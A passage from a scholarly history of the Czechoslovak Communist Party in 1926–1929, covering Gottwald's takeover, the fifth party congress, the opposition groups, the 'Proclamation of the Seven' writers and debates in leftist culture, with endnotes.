Thus, under pressure from within as well as from without, Jílek and his supporters gradually found themselves in an indefensible position. At the turn of 1927 and 1928, the Red Trade Unions attempted, in collaboration with representatives of the "reformist" trade unions, to organize mass protests against the plan to curtail social insurance, but this effort did not attract the needed mass support. A similar fate awaited the miners' strike, aimed at increasing miners' wages in North Bohemia in February of 1928. Three days later, the strike was called off after an agreement was made between the strikers and the employers. With a view to the public's diversion from mass events, in April of 1928, the KSCˇ leadership withdrew from organizing a general strike to protest against the worsening social standing of the working class. In the spring of 1928 (prior to the sixth congress of the Comintern), especially young members of the Communist Party started to form an opposition against the politics of B. Jílek, criticizing it publicly. "The opposition was supported by the department of campaigning and propaganda of the central committee, led by Klement Gottwald, as well as some regional organizations and the communist youth movement. The party press, especially the theoretical magazine Komunistická revue (the Communist Revue), played an important role in the fight of these revolutionary groups against opportunism."5 Some authors have a tendency to overrate the importance of the Komunistická revue, probably because K. Gottwald published his views in it. The truth is that it was the department of campaigning and propaganda that became the base for the attacks on Jílek.
The so-called Red Day meant the actual end of Jílek's leadership. To protest against the ban on Spartakiad, the Communist Party called a mass demonstration in Prague for July 6, 1928. However, the authorities were well prepared for the event and managed to crush it at the very beginning.6 The several thousand unorganized supporters of the KSCˇ, who arrived at Wenceslas Square, were dispersed. During the event's assessment at the KSCˇ central committee's meeting on July 9 and 10, the opposition, led by K. Gottwald, spoke up against Jílek's leadership. Gottwald criticized Jílek not only for the mistakes in his political as well organizational efforts, but mainly for his strategic and tactical orientation.
Between July 17 and September 1, 1928, the sixth congress of the Communist International was held in Prague.7 During the congress, a special committee discussed the situation in the Czechoslovak section. The committee emphasized the need for an intraparty debate, which was to be based on the letter of the Executive Committee of the Communist International entitled "From Opportunist Passivity to Bolshevik Activity."8 The International also removed Jílek from the Czechoslovak section's leadership and appointed K. Gottwald to lead the section. Thus, the Comintern did not even attempt to maintain any kind of illusion of the KSCˇ's autonomy and itself decided on the changes in the party's leadership. This procedure only shows that the KSCˇ, as well as the other sections of the Comintern, were fully subordinated to their Soviet headquarters.
Following the publication of the open letter by the Communist International's Executive Committee, a debate on the party's activity was initiated in the KSCˇ. The main topic of the discussions was the heavy loss suffered during the Red Day event and its causes, further discussed were the measures necessary to ensure the continuation of Bolshevization, the struggle against opportunists and the question of the party's future leadership. The result of the discussions was known in advance—the former leaders had to be removed and replaced with people from Gottwald's group. This can be proved by an article by K. Reissner entitled "From Opportunist Passivity to Bolshevik Activity in the Department of Campaigning and Propaganda of the KSCˇ," published on October 5, 1928 in Rudé právo newspaper and also in the November issue of the Komunistická revue.
The author claims that "until the fifth congress of the Communist International, there was no clear understanding in the party of the essence of the campaigning and propagandist work, its methods or organizational forms. Systematic campaigning and propaganda in the central institutions only began in 1925. The heritage left to Jílek's central committee, called upon to fight against the real threat within the KSCˇ, was undoubtedly not too great."9 According to the author, Jílek's leadership not only failed to improve the situation during the previous three years, but further worsened it. The height of his incompetence, as the author puts it, was the failure of the Red Day. On the other hand, the author claims that Agitprop (the department of campaigning and propaganda), led by K. Gottwald, sets a good example of good propagandistic work.
Jílek attempted to defend himself by pointing out that no one else could have elicited revolutionary enthusiasm, as nobody was interested in it. He also criticized the functionaries appointed to the party's leadership by Stalin. "The department of Agitprop was led by . . . a member of the opposition group, comrade Gottwald, and so he should be the first to bear responsibility for the insufficient ideological preparation of the party's members."10 The roles of individual groups were to be defined by the upcoming fifth congress of the KSCˇ; however, this was only wishful thinking on Jílek's behalf (details in the following chapter).
Leftist Culture between 1926 and 1928
Similarly as in political feuds, on the cultural field in the period between 1926 and 1928 the enthusiasm of a larger part of the cultural workers affiliated with the Communist Party was also on the wane. This trend was partially described in the previous chapter. In this subchapter I will only marginally mention several events and statements that are typical of the development in the leftist cultural community at that time. First I will cover an interesting event, which led to what later befell the Communist Party and the leftist cultural community.11 The event was so-called Causa Vancˇura (Vancˇura's case), played out on the pages of the left-oriented cultural press in 1926.
Vladislav Vancˇura, the first chairman of the Deveˇtsil Art Association, came up with an interesting idea in the Tvorba (Creation) magazine, run by František Xaver alda, in connection with the factional disputes within the Communist Party. In his article, entitled "Against the Secretaries of My Party," Vancˇura called himself an idealist communist, who is not bound by the instructions and decisions of KSCˇ leaders, no matter their contents. Further, he stated that "all cultural blunders and damage can be attributed to the virtue of the Secretariat."12
F. C. Weiskopf responded to Vancˇura's article in the communist students' magazine Avantgarda.13 In his article "In All Directions," he generalizes the case of the disagreement of one person with the policies of KSCˇ leadership to a more general issue of the relationship between an artist and communism. According to Weiskopf,
we cannot expect that—at least during the era of the transition from capitalism to collectivism—the antagonism between collectivity and an artist's individuality was done away with. The development of the new revolutionary art will walk the path of 'struggle' between the individualism of an artist and collective society; between a more or less anarchist artist and the bearer of the idea of collectivism, i.e. a member and the tightly organized vanguard of the proletariat. However, that does not mean that the vanguard organization (communist party) shall by some kind of mechanism interfere with this development. No! What it means is that a left-leaning artist's development and artistic production will be affected also by his individual efforts, as well as the efforts of the struggling proletarian vanguard, which he belongs to. His path will therefore be the resultant of these two forces.14
Weiskopf does not condemn Vancˇura, yet at the same time, he believes Vancˇura's critical view of the developments in the Communist Party is caused by the fact that he is an artist. Such "presumption of guilt" of an artist or an intellectual is quite typical of the communist mentality and doctrine, as has already been shown in the previous chapters, and as will be emphasized in the following chapters.
Another paradigmatic example of the skeptical communist view of the role of the intelligentsia in world revolution can be found in Záviš Kalandra's article "The Problem of Intelligentsia and Kostufra" in the same issue of the Avantgarda magazine. According to Kalandra, Kostufra (Communist Students' Faction) must give up on winning students over to the idea of revolution, as it is the task of the proletariat. "Kostufra's goals have always been more modest, but all the more reachable and, most importantly, more practically valuable: "we are trying to neutralize the masses of students so that they would not stand up against the proletariat at the time of revolution."15 The young communist intelligentsia thus gives up on taking part in the revolution, and consequently also on the effort to gain positions in the Communist Party.
The development of the culture of the left in the period between 1926 and 1928 continued in the spirit of ever stronger diversion of leftist artists from revolutionary rhetoric and disputes between the young and middle-aged generations over the form of revolutionary or modern art. F. X. alda attempted to overcome the generation gap by establishing the previously mentioned magazine Tvorba, where representatives of all artistic movements of the left could publish. Also the Fronta anthology, edited by František Halas, Bedrˇich Václavek, and others, was run in the same spirit. In 1927, the Fronta anthology turned into the Fronta magazine. In its first issue, especially representatives of the young generation of artists (among others, J. tyrský, Toyen, V. Nezval, J. Honzl, and others) embrace the idea of social revolution and communism. At the same time, they proclaim the necessity to separate modern art from all "-isms," which only cause its haziness. The main goal they set for themselves was to revolutionize culture and join it with political revolution.16
In mid-1927 another round of discussions starts on poetism, that is, Deveˇtsil. In the June issue of the Tvorba magazine, J. Hora publishes an article, "The Future of Poetism," in which he writes: "Proletarian poetry as a literary style died for many reasons other than literary ones. Poetism in our country starts exactly at the time when the wave of social revolutionism in Western Europe is subsiding and communism is becoming a socio-political method, a way to a slow, patient organization of the masses."17 According to Hora, poetism is merely a thing of the past, only a layover designed by Teige.
K. Teige expresses disagreement with this opinion and in the newly established Revue Deveˇtsilu magazine shows that it was in 1927 that thus far the best works of art were created by Deveˇtsil members professing pietism.18 According to Teige, it was Revue Deveˇtsilu (further referred to as ReD), whose first issue came out in October 1927, which proves the viability of the idea of poetism. "ReD intends to become a synthetic magazine of international modern art. . . . The positions of ReD are those of the Association of Modern Culture 'Deveˇtsil,' which the ReD magazine belongs to. ReD shall be a sample book and an anthology of pietism."19
However, it soon became clear that the magazine was a purely artistic revue, which restrained itself from commenting on political issues. The magazine's second issue featured an article entitled "Ten Years of Soviet Culture," which says that "all significant achievements of modern Russian culture originated in the Union of Soviet Socialist Republics, not in counter-revolutionary emigration—and it certainly is not a historical coincidence that the major growth of Russian cultural work started with the October revolution in 1917;"20 other than that, the authors focus mainly on art.
ReD gained a partly political character in mid-1928, when it ran two of J. Fucˇík's articles against K. Cˇapek and F. Peroutka, that is, people who developed theories rejecting the communist ideas. In its June issue, Teige publishes an article, "Manifesto of Poetism." He claims that "poetism was meant as a new esthetic and philosophical view, as a confession before the end of the millennium"21 and continues by recapitulating the development of the culture of the left after WWI.
The generation of artists that was born during the war, influenced by the social upheaval and stirred to fight against the old world and for new orders, lived by the motto "proletarian art," which promoted turning away from the sentimentality of private erotic and ethical crises, from expressionist decadence and from esthetic confessionalism and exhibitionism, the abandonment of subjectivism and the merger of the new class-conscious reality with typical and collective life forms. "Proletarian art" lacked the time to create its new forms and its own systems, it fossilized in its naive rhetoric and forgot about itself in the whirl of class struggle. Dissatisfied by the alarm of this "proletarian art," we attempted to revise its program and explain things from the Marxist point of view. Ever more often it showed that the program of proletarian art was a completely false and insufficient solution, an incorrect answer to the questions of the revolutionary era. We have learned that proletarian art, as preached by Lunacharsky, is a non-Marxist delusion22 and esthetic nonsense. Even poems whose intention was to campaign for the revolutionary movement turned out to be not only insufficient poems, but also a very bad campaigning tool.23
In mid-1928, the situation in the area of leftist art is similar to that in the communist party. There are several groups, each with its own concept of proletarian art. While the old and middle-aged generation of artists (Neumann, Hora, and others) still interprets it as art for the proletariat and produced by "intellectual proletarians," the group around K. Teige uses the term proletarian art rather loosely and suggests that only now do its members produce genuine proletarian art, based on real artistic quality, although incomprehensible to the proletariat itself. According to Teige and others, the proletarian character of this art is ensured by the artists' proclamation of support for the Communist Party. Apart from these two most exposed groups, there are others, of whose proletarianness, especially in the Communist Party, there can be no doubt. These are mainly people associated with the Association of Literary and Graphic Artists,24 whose art is not only sufficiently comprehensible, but what's more, also serves very well the purpose of political agitation.
In the second half of 1928, the Communist Party undergoes an ideological split and during this time does not deal with its cultural policy. The party's Bolshevization, orchestrated by Stalin and the Communist International, was such a turbulent process that culture, as many times before, was considered the least of the party's priorities.
Notes
1. Prˇehled deˇjin Komunistické strany Cˇeskoslovenska (Prague: Státní nakladatelství politické literatury, 1957) and Deˇjiny KSCˇ (Prague: Nakladatelství politické literatury, 1966).
2. The expulsion was annulled by the fourth congress of the Comintern.
3. Both came with the idea of moving away from revolutionary events as early as the defeat of the revolution in the states of Saxony and Thuringia in the fall of 1923—see, for example, the Komunistická revue.
4. Deˇjiny KSCˇ, 73.
5. Deˇjiny KSCˇ, 113.
6. People heading for the demonstration were often arrested already at the railroad station.
7. It was the congress at which Stalin denounced the activities of Trotsky.
8. It was published in the party press on September 30, 1928.
9. Komunistická revue, November 1928, 825.
10. Komunistická revue, November 1928, 827.
11. Considering its historical connotations, I refrain from using the term "front."
12. Tvorba 1, no. 5.
13. Just for the record, in 1926 the Avantgarda editorial board included: editor J. verma, editorial board: Ancˇík, J. Fucˇík, Kalandra, Matoušek, Mach, Sekanina, Weil, Weiskopf—no first names supplied.
14. Avantgarda 2, no. 2, 20–21.
15. Avantgarda 2, no. 2, 26.
16. Fronta, April 1927.
17. Tvorba, June 1927.
18. Nezval's Edison, Biebl's Lod', jež dováží Cˇaj a kávu, Seifert's Na vlnách TSF, Závada's Panychida, and others.
19. Revue Deveˇtsilu, October 1927, 1–2.
20. Revue Deveˇtsilu, November 1927, 54–55.
21. Revue Deveˇtsilu, June 1928, 317–18
22. By this rejection of the art of Proletkult, Teige stands up against S. K. Neumann, yet he also opens the possibility of establishing ties with the budding Stalin group in the KSCˇ.
23. Revue Deveˇtsilu, June 1928, 317–18.
24. Perhaps its most well-known member was Josef Veˇromír Pleva.
# Chapter 11
## Fifth Congress of the Communist Party of Czechoslovakia
Response to the Changes in the
Communist Party's Leadership
The sixth congress of the Communist International, the removal of B. Jílek and his followers from leading positions in the Communist Party and their replacement with mostly very young Bolsheviks, completely loyal to Stalin, caused a large-scale discussion within the Communist Party as well as in the party press not only on the party's past, but also on the agenda of the upcoming fifth congress of the KSCˇ and the future of the communist movement in Czechoslovakia. The majority of artists who supported the Communist Party and who often worked in the communist periodicals sided with B. Jílek (for example, J. Hora, M. Majerová, J. Seifert, etc.). On the other hand, Gottwald's group published their views mainly in the theoretical magazine Komunistická revue.
The dominance of Gottwald's group, whose members replaced some of Jílek's supporters, was shown at the meeting of the KSCˇ central committee in December of 1928. Jílek remained a member of the central committee as it was necessary to formally keep him "in power" in order to give the notion of a standard, "democratic" change of leadership. KSCˇ leadership, already dominated by the Bolsheviks, decided to postpone the fifth congress and thus extend the so-called intraparty discussion by another two months. During this time, regional conferences of the KSCˇ were held, at which the support of Bolshevization was discussed and voted on. The information on the support of the political line of the sixth congress of the Communist International, that is, the Gottwald group, is rather inconsistent. For example, V. Cˇada states that "in most cases, the regional conferences of the KSCˇ concluded with the victory of the Marxist-Leninist movement."1 Other publications claim that in all eighteen regional organizations, Gottwald's group gained the support of more than 90 percent of delegates.2 It is likely that similarly as during the fifth congress of the KSCˇ, this coverage was also often manipulated.
In the January issue of the Komunistická revue, Gottwald publishes an article entitled "On the Fifth Congress of the KSCˇ," in which he searches for the reasons of the weakening communist influence. "Reformism . . . in our country represents a strong social and political force and especially most recently has been gaining in strength. The reasons for its growth are objective on the one hand ('positive' aspects of the reconstruction period), and on the other hand, there are subjective reasons (passivity of the communist party)."3 Apart from the potential resistance of Jílek's group and the strengthening of revolutionary activity, Gottwald sees the main danger for the KSCˇ in the so-called reformist parties, that is, Social Democracy and the National Socialist Party.
In the same issue of the Komunistická revue, P. Reimann comments on the issues on the agenda of the fifth congress of the KSCˇ. In his opinion, the congress should direct its program against social democracy and Masarykism. "These views are in irreconcilable contradiction with communism. Both the ideology of Masarykism and the social democratic ideology are concepts of maintaining and developing the bourgeois social order. . . . These movements, which are very close to each other, have nothing in common with socialism."4 In his article "What Do We Do Now," J. Guttmann further complements Reimann: "The former leadership lacked any kind of strategic plan. S. Jílek fervently defended himself against this accusation, which his opponents presented in Moscow both in the delegation and the Czechoslovak commission, until the very end (including his closing speech before the commission)."5
The fifth congress of the KSCˇ was held from February 18 to 23, 1929. What speaks of the transition of power within the party is that the opening address was not presented by Jílek, who was still "in power," but Gottwald, appointed by Stalin. Jílek's role at the congress was that of a quixotic scapegoat, who unsuccessfully attempted to defend the legitimacy of his reservations to the Comintern's program for its Czechoslovak section. Five out of seven speeches were given by the Bolshevik opposition (Gottwald, Guttmann, Slánský, Reimann, Fried) and only two by the existing leadership (Jílek and Stern).
In his opening speech, Gottwald accused Jílek's leadership of opportunism and social democratism. Among other things, he reproached him for preaching solidarity between classes, which damaged the interests of the proletariat. Gottwald emphasized the role of mass strikes and stated that the only solution to the intraparty crisis was to gain power and establish the dictatorship of the proletariat. He also accented the role of the Red Trade Unions in recruiting new supporters of the Communist Party.6 He also encouraged the communist factions in noncommunist trade unions to intensify their activity.
In order to ensure the victory of the course of the Communist International, the congress was manipulated in various ways. The meetings were held in a different place every day and "reliable" confidants told "reliable" delegates only in the morning where the meetings were going to take place. Thus, the anti-Gottwald wing was practically excluded from the meetings. The new central committee was elected en bloc and according to the proceedings, it (just as with all other provisions) was approved unanimously. In spite of all this effort, the takeover of power did not go entirely smoothly. The intraparty opposition came forward on two main political fronts.
Immediately after seizing power in the KSCˇ, Gottwald's leadership also intended to take control of the press and of various satellite communist organizations. The first test of the strength of the new party leadership was taking over the International All-Union League, whose leaders remained loyal to Jílek's group and postponed their congress, which prevented the Stalinists from staging a coup, as they did at the fifth congress of the KSCˇ, and taking over the leadership as well as the organization's considerable resources. Thus, the Stalinists were forced to convoke a parallel congress on May 4 and 5, similar to that held by social democracy in 1920. The third All-Union congress (of the Red Trade Unions), which "elected" its new leadership, also meant the collapse of the International All-Union League. Approximately 90,000 of its members were transferred to the Red Trade Unions, controlled by the communists, while the remaining 75,000 joined the Czechoslovak Social Democratic Trade Union in 1930.
Another major opposition which formed in the KSCˇ against Gottwald's leadership were the so-called Leninists. These were twenty-six7 communist members of parliament and senators, led by B. Jílek, V. Bolen, and A. Neurath, who on March 27 published the Proclamation of Twenty-six Against the Decisions of the fifth Congress of the KSCˇ. The signatories of the Proclamation, written by Bolen, criticize the coup in the KSCˇ, the politics of the Communist International as well as Stalin himself.8 On April 9, these members of parliament and senators established their own parliamentary club. Before long, in early June 1929 (June 1 and 2 to be precise), all of its members were expelled from the KSCˇ.
The way the new communist party leadership dealt with its opposition was a reflection of its political course. A long time always passed between the appearance of the "dissenters" and the counteraction against them. During this time, a meeting of the presidium of the Communist International's executive committee took place, which then encouraged the dissenters to admit their mistake and support the new leadership, and instructions were issued (not publicly) on how the opposition was to be subdued in order to quickly resolve the difficult situation.
Following the fifth congress of the Communist Party, opponents of the new leadership of the KSCˇ lost access to the party press; therefore, in May of 1929 they renewed the Komunista (Communist) magazine, formerly published by A. Muna and closed down in 1921, which was to become the magazine of the communist opposition. In its first issue, O. E. Berger explains the reasons for the revival of the Komunista magazine.
Our political program is Marxism and Leninism; however, these have long been abandoned by the official party leadership, only to be replaced by anarcho-syndicalism and romantic, self-proclaimed ultra-leftism. . . . If we had not been sure of our cause and if we had not been convinced that the development of both international as well as domestic politics would one day prove that we were right, had we not been sure that we were obligated to do so in the interest of the proletariat and particularly for the sake of the Russian revolution—we would not have formed an opposition.9
From its early existence, the opposition attempted to surround itself with members and organizations of the KSCˇ that did not agree with the trend set by the fifth congress of the KSCˇ10 and encouraged them to put up resistance to the new leadership, which in Muna's opinion introduced a nondemocratic form of governance in the party. "The party sees the introduction of a regime of a complete dictatorship of students, who seized power unprepared and incompetent, and whoever does not succumb to their dictate will be driven out of the party, expelled or, disgusted, will voluntarily withdraw from the party. . . . Comrades! Our old friends: Let us get back to work to save the party that we all love, for which we fought, made sacrifices for and which must remain our party, a party of honest revolutionary workers. Away with the dictatorship of students with bourgeois roots."11 The impression one gets from reading the article is that the "old and worthy" communists did not care about the party any more. What is interesting is the reference to the class roots of the new leadership, which points out an important attribute of Bolshevization. The leadership was taken over by trained apparatchiks and publicists, who did have "proletarian roots;" however, they never made a living as laborers (this phenomenon will be dealt with in more detail in the next subchapter).
The Leninists rejected their expulsion from the Communist Party and called the imperial conference of the opposition in the KSCˇ for June 29 and 30, which labeled the situation in the Communist Party as a profound crisis. Among others, the assessment of its causes includes: "Objectively, what is at play here is the process of the stabilization of capitalism, which gives the proletariat all kinds of illusions. Subjectively, there are various influences of the leaders and the role of their politics. . . . The politics of the current leadership of the communist party is erroneous and wrong. Its general course leads from the mass party to a sect, from Lenin's principles of class struggle tactics to politically adventurous anarcho-radicalism, to the politics of suicidal hazard, the self-destruction of hard-earned positions among the proletariat and on the revolutionary front against the bourgeoisie." The Communist International was not spared criticism either:
as a result of the faction struggle within the Communist Party of the Soviet Union and as a consequence of the natural disagreement and difficulties resulting from the increasing stabilization of capitalism and the development of socialism, it initiated the wrong, ultraleft course on an international scale, forcing its individual sections into its implementation. This was combined with the bureaucratic, anti-Leninist course of the party, eliminating the fundamental principles of intraparty democracy and expelling from the party essential ideological debate and the healthy flow of ideas.12
On the one hand, the conference openly supported the continuity of the Communist Party, but on the other hand it elected its own thirty-member imperial committee, from which a smaller committee was selected to be in charge of the operative tasks.13 The conference also expressed its disagreement with the increase in membership fees, ordered by Gottwald's leadership in June of 1929, and started issuing its own membership cards and stamps.
If we put the efforts of the people around the Komunista magazine in the international context of the communist movement, we can view the group as an opposition of the emerging cult of J. Stalin. To this fact also speak the protests against the expulsion of Bukharin from the Comintern's Executive Committee, comparing it to the removal of Trotsky; they also predict very accurately that Bukharin will face the same fate as Trotsky. However, the opposition did not manage to find sufficient support for its program in the KSCˇ, which was caused mainly by the opposition's inability to spread its views among other party members by means of the party press. Members of the opposition were removed from the main communist periodicals (Rudé právo/Red Law, Rovnost/Equality, and others), and the Komunista magazine was never read on a mass scale.14 Moreover, the opposition faced a lack of financial resources, which meant the Komunista magazine soon closed down; its last, twenty-seventh issue came out on October 24, 1929. However, before then, the opposition proved that it cared about the future of the party by calling on its supporters to vote for the KSCˇ in the preliminary parliamentary election. "Of course, this does not mean that we endorse the wrong course of the party's leadership and those representing it."15
In 1930, most members of the opposition realized that their position in the party and the communist movement in Czechoslovakia was weak, and returned (together with the splintered part of the International All-Union League) to the Social Democratic Party, which it had left in 1920. What undoubtedly contributed to this decision was the fact that all opposition members of parliament and senators lost their mandates in the parliamentary election.
The parliamentary election in October of 1929 was supposed to demonstrate the real power of the Communist Party. Compared to 1925, the KSCˇ lost 180,000 voters, its election results dropped to 10.2 percent of cast votes (the worst election results in the history of the KSCˇ/Communist Party in the Czech Lands). On the one hand, the election results confirmed the decrease in popularity of KSCˇ among the population, but on the other hand, they showed that the Bolshevik leadership was supported by a considerable number of not only party members, but also other supporters. The parliamentary election also dealt with the problem of "Leninists," which further strengthened Gottwald's leadership within the party. For the first time, Gottwald became a member of parliament; this enabled him to step up his propaganda, which he had already mastered as head of the department of campaigning and propaganda.
Proclamation of Seven Writers
The third group which stood up against the changes in the leadership of the KSCˇ was the group of communist writers. Although it was the least numerous group and had virtually no significant influence in the party, its views received the most publicity.
In reaction to the results of the fifth congress of the KSCˇ, seven communist writers signed and published an open letter called "Communist Writers to Communist Workers." Among other things, it reads:
KSCˇ is in a state of crisis, which threatens to destroy it as a fighting workers' party. . . . The indifference of its members to the party's events is on the increase, there is strife within the party that is substantiated neither by the profit of the party, nor the benefit of the working class, but flows from the mistakes made by comrades who in utter misunderstanding of the nature of the proletariat as well as the overall situation, lead the Czechoslovak proletariat into the politics of purely factional hazard, which can only end in the destruction of the mass character of the KSCˇ and the weakening of the offensive power of the proletariat in our state. . . . We cannot keep quiet about the suicidal politics of incompetent roaring words and division at any cost. . . . Workers . . . take the initiative, demand rectification! Let there be an extraordinary congress of the party, which for the sake of the unity does away with the dispute of the trade union organizations, and may the party's leadership be taken over by those communists who want to work towards a party united, a party of the masses. . . . The Communist party is in danger, comrades! Never before has it been in a bigger one.16
The open letter was signed by Josef Hora, Marie Majerová, Helena Malírˇová, Stanislav Kostka Neumann, Ivan Olbracht, Jaroslav Seifert, and Vladislav Vancˇura. Examining their ties with the Communist Party, we learn that most of them worked in various press organizations of the KSCˇ. I. Olbracht was editor-in-chief of Rudé právo Evening Paper, in which J. Hora was in charge of the culture section; H. Malírˇová was responsible for the women's sections in both Rudé právo as well as its Evening Paper, while M. Majerová was similarly in charge of the children's sections; J. Seifert worked as an editor at the Communist Publishing House. S. K. Neumann also had close ties with the communist press. Only V. Vancˇura, who—as stated above—stood up against the frequent changes in the leadership of the KSCˇ and the tactics of the communist movement's political activity as early as at the turn of 1925 and 1926, was not a communist journalist.
The proclamation, which was not published in the communist press and apart from being run in the Lidové noviny paper, was circulated around Prague in the form of leaflets,17 is not explicitly clear as to whether it is directed against the new leadership of the KSCˇ, or in favor of the old establishment. It did not originate immediately after the fifth congress of the KSCˇ, which would otherwise provide a clear context. The writers' primary concern was the dissension inside the KSCˇ and its satellite organizations, particularly the International All-Union League. The letter contains numerous parallels that refer to specific individuals involved in the dissension. The writers accuse the KSCˇ of "factional terrorism and immature fanaticism, which turns the proletariat into guinea pigs of paper revolutionism." The immature fanaticism undoubtedly refers to Gottwald's leadership, nicknamed the "Karlín boys." The writers also accuse the party leadership of "incompetent megalomania, which has completely alienated itself from Lenin's teachings and the true spirit of Leninism." There is no proof that the open letter was drafted by I. Olbracht on the orders of B. Jílek, for whom he often wrote speeches, although its authorship is often attributed to him. For example, F. Helešic claims that Olbracht is considered to be the initiator of the open letter, because "in Rudé právo paper and in its evening edition, he supported their (Jílek's group) politics even at a time when Jílek, Bolen, and others were from 1922 to 1924 stripped of their leading positions in the party."18
Rudé právo paper responded to the writers' manifesto with an extensive article entitled "Projev sedmi" ("Manifesto of the Seven"). First, the writers were condemned from the point of view of their party discipline:
Each member of the communist party has a right to express his opinions within the party, in their local organization, at conferences and congresses. Each party member can turn to the central committee of the communist party with their proclamations, and if need be, even to the highest authority of the world communist movement, the Communist International. . . . No member of the party, whether a famous writer or an ordinary worker, is allowed to oppose the party before the bourgeois public.19
Apart from the threats of harsh consequences, the signatories were labeled opportunists of Jílek and Bolen's character20 and the article concludes with a summary, whom to fight against: "Bourgeoisie is forgetting one thing: the communist party and the revolutionary movement are not built up on the basis of the party's secretaries, members of parliament, senators or writers. The communist party is made up of the revolutionary proletariat."21
The crackdown on the writers was carried out immediately. Those who worked for the Communist Publishing House or the communist press were dismissed from their positions. On March 26, at a meeting of the KSCˇ central committee, Seifert, Olbracht, Hora, Malírˇová, and Majerová refused to take back their signature on the proclamation. Subsequently, all the signatories were expelled from the KSCˇ. The heaviest caliber the party used against the rebels was issuing a counter statement by their artist colleagues and friends called "The Essential Position on the Proclamation of the 'Seven,'" published in the Tvorba magazine on March 30, 1929.
Among other things, the counterstatement read:
Today, when we clearly see its rising revolutionary energy [of the KSCˇ]; today, when it finally finds the strength to rid itself of everything unprincipled; it is today that seven writers, seven of our friends stand where they should never have stood: against the revolutionary democratic organization. No matter how we may try to interpret their move . . . we cannot see it as anything else but a big mistake . . . as a threat to modern art production. They did not just overstep the limit of their competence, they also stepped away from the line that we all have to follow if we do not want to betray the entrusted task, and therefore we issue this statement—not in order to correct their mistake—but to make it clear that our paths have parted.22
The counterstatement was signed by twelve young artists and literary critics, mostly Deveˇtsil members; namely K. Teige, V. Nezval, F. Halas, K. Konrád, L. Novomeský, V. Clementis, B. Václavek, J. Weil, J. Fucˇík, V. Tittelbach, K. Biebl, and V. Závada.23
The Davisté (from magazine Dav—Crowd) movement also came out with a similar denouncement in the article "Vám, padlým na ducha barikád" ("For You, the Fallen of the Spirit of the Barricades"). "At a time most critical for the proletariat, they lost their balance and joined the front that is in the way of revolutionary progress." The strongest criticism is directed against Olbracht, "who must be all the more harshly condemned, as his is the act of a party politician rather than of a disoriented man of letters."24
The "division" within the leftist cultural community can be assessed from several vantage points. The first may be the generational point of view. Of the seven writers, only J. Seifert and V. Vancˇura belonged to the Deveˇtsil generation, who encountered Marxism only after WWI, that is, during the time of the communist movement's activity and in the revolutionary postwar wave. The remaining five, who can be said to belong to the middle-aged generation of artists, pressed the ideas of social reform earlier. It was with a great deal of suspicion that S. K. Neumann viewed the young generation of leftist artists associated with Deveˇtsil when they embraced communism. He never concealed the fact that he never considered the works of the Deveˇtsil members to be proletarian art.
Another dimension of the generation problem corresponds with the age of the members of the new KSCˇ central committee. On average, members of the new leadership were slightly over thirty years of age. Writers of the middle-aged generation were ideologically closer to the former leadership than to the Gottwald "predators," who were conducting a shakedown in the party, aimed especially at the middle-aged and older generation, which in 1921 transformed the left wing of social democracy into a communist party. It was S. K. Neumann who was personally involved in the transformation process. Throughout the 1920s, Neumann's concept faced opposition from Deveˇtsil, especially from its theoretical and ideological spokesperson and leader, K. Teige.
And it was K. Teige who took to defending the processes taking place in the KSCˇ as correct. Surprisingly, he was not opposed by S. K. Neumann, but Josef Hora. Rudé právo newspaper initiated the discussion, when it started a political campaign against the "renegades." Following the "Proclamation of the Seven," an article entitled "Those Who Left" was published, which brought "facts" on how the seven writers maintained contact with party members. The article comments that all seven signatories were virtually inactive in the party, and therefore they have no right to criticize what is happening in the KSCˇ. "Ivan Olbracht has not attended a single public or a members' meeting since 1925. . . . Marie Majerová has not been to a political meeting for years. Jaroslav Seifert, who can hardly be accused of understanding politics, did not attend meetings at all. . . . S. K. Neumann and V. Vancˇura have long shut themselves out of any of the party's activities." The accusation against the writers for their alleged inactivity was not completely groundless, considering that they were, with a few exceptions, employed in the press institutions of the KSCˇ. As a pretext for further attacks, Rudé právo paper took advantage of the fact that those who made a living writing newspapers, took jobs working for the social democratic and national socialist newspapers (Hora, Seifert). They were later labeled as social fascists.
Objectively speaking, it needs to be said that the wording of the "Proclamation of the Seven" was rather unfortunate. On the one hand, it was too general, which allowed its critics to also base their counterattack on a similarly general foundation. Moreover, the group of seven was too heterogeneous, as were the motives for signing the proclamation.25 Considering the future of the Communist Party, the gravest motive was stated, though much later, by S. K. Neumann. Supposedly, Neumann was afraid that the KSCˇ was beginning to find itself in a critical situation, where it was losing its mass character and influence on the proletariat.26 This opinion, if indeed it was his motive,27 was not too far from reality. The popularity of the KSCˇ continued to drop. It was written that the constituent congress of the KSCˇ was already being held in the shadows of the failed attempt at a socialist revolution in the second half of 1920. At the time of its constituent congress, the KSCˇ had 360,000 members, at the time of the third regular congress in 1925 the KSCˇ membership numbered only 93,000 and at the time of the fifth congress in 1929, there were only 25,000 members of the KSCˇ.
The early parliamentary election in October 1929 was to become the barometer for the opinions of the left-leaning public on the events in the KSCˇ. The election results confirmed Neumann's concern that the dispute within the Communist Party could mean a loss of public support. However, as has already been said, the decrease in the number of voters was not as dramatic as Neumann, Muna, and others had anticipated.
Changes in the Communist Press
The writers, who at the same time worked as journalists in communist newspapers and magazines, were dismissed from their jobs immediately after their proclamation against the new KSCˇ leadership. The party press was considered as playing a crucial role and therefore the new leaders tried to find entirely loyal journalists as their replacements. The chairman of the party, K. Gottwald, had himself worked as a journalist practically during the entire existence of the party, just as other members of the new establishment—Josef Guttmann, Jan verma, and Václav Kopecký. Already in 1923, Gottwald wrote: "The party must use its best people to organize and lead the press, for the party is as good as its press."28
Following his arrival in Prague in 1926, when he became head of the department of campaigning and propagation, Gottwald surrounded himself with a group of people who identified themselves with the ideas of Bolshevization, especially by complete loyalty to the Communist International. The group consisted almost exclusively of new members of the Communist Party, who had no ties to the party's social democratic past, coming from the Communist Youth Union, or Kostufra. It is this group that after the fifth congress takes the leading positions in the communist press. Among others, the leading positions were filled by Julius Fucˇík, Záviš Kalandra, Ladislav Novomeský, Jožka Jabu˚rková, and others.
